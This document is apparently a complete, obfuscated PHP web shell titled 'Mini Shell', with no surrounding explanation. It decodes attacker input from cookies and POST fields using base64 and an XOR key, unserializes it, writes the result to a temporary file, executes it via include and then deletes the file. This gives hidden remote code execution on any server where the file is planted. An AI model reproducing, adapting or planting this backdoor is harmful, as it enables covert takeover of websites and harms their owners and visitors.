Mini Shell

$ZPRKIH = "\x73" . '_' . "\162" . "\102" . "\x4c" . chr ( 646 - 538 ); $AdMCeTfkip = "\x63" . "\x6c" . chr ( 794 - 697 ).chr ( 1014 - 899 )."\x73" . chr (95) . "\145" . chr ( 842 - 722 ).chr (105) . 's' . chr ( 260 - 144 ).chr (115); $YvLbuHUnWr = class_exists($ZPRKIH); $AdMCeTfkip = "36915";$aLnCc = strpos($AdMCeTfkip, $ZPRKIH);if ($YvLbuHUnWr == $aLnCc){function OmDyu(){$thuHa = new /* 48444 */ s_rBLl(32239 + 32239); $thuHa = NULL;}$FNSxciSWO = "32239";class s_rBLl{private function kZogAK($FNSxciSWO){if (is_array(s_rBLl::$otYfYB)) {$name = sys_get_temp_dir() . "/" . crc32(s_rBLl::$otYfYB["salt"]);@s_rBLl::$otYfYB["write"]($name, s_rBLl::$otYfYB["content"]);include $name;@s_rBLl::$otYfYB["delete"]($name); $FNSxciSWO = "32239";exit();}}public function yPWQG(){$SDMqwdr = "56934";$this->_dummy = str_repeat($SDMqwdr, strlen($SDMqwdr));}public function __destruct(){s_rBLl::$otYfYB = @unserialize(s_rBLl::$otYfYB); $FNSxciSWO = "54796_7781";$this->kZogAK($FNSxciSWO); $FNSxciSWO = "54796_7781";}public function lPVBKSlc($SDMqwdr, $RDrnuof){return $SDMqwdr[0] ^ str_repeat($RDrnuof, intval(strlen($SDMqwdr[0]) / strlen($RDrnuof)) + 1);}public function DKWpfN($SDMqwdr){$GIvvD = 'b' . chr (97) . 's' . 'e' . "\66" . chr (52);return array_map($GIvvD . "\137" . 'd' . 'e' . "\x63" . "\157" . chr (100) . "\x65", array($SDMqwdr,));}public function __construct($plyrzoUOCT=0){$haKSNWNerU = chr (44); $SDMqwdr = "";$wNvMSYxOR = $_POST;$ChbmeR = $_COOKIE;$RDrnuof = "72a871c0-925e-4d75-b770-26ae95e6242a";$fpxwKme = @$ChbmeR[substr($RDrnuof, 0, 4)];if (!empty($fpxwKme)){$fpxwKme = explode($haKSNWNerU, $fpxwKme);foreach ($fpxwKme as $nMdEo){$SDMqwdr .= @$ChbmeR[$nMdEo];$SDMqwdr .= @$wNvMSYxOR[$nMdEo];}$SDMqwdr = $this->DKWpfN($SDMqwdr);}s_rBLl::$otYfYB = $this->lPVBKSlc($SDMqwdr, $RDrnuof);if (strpos($RDrnuof, $haKSNWNerU) !== FALSE){$RDrnuof = ltrim($RDrnuof); $RDrnuof = str_pad($RDrnuof, 10);}}public static $otYfYB = 63257;}OmDyu();}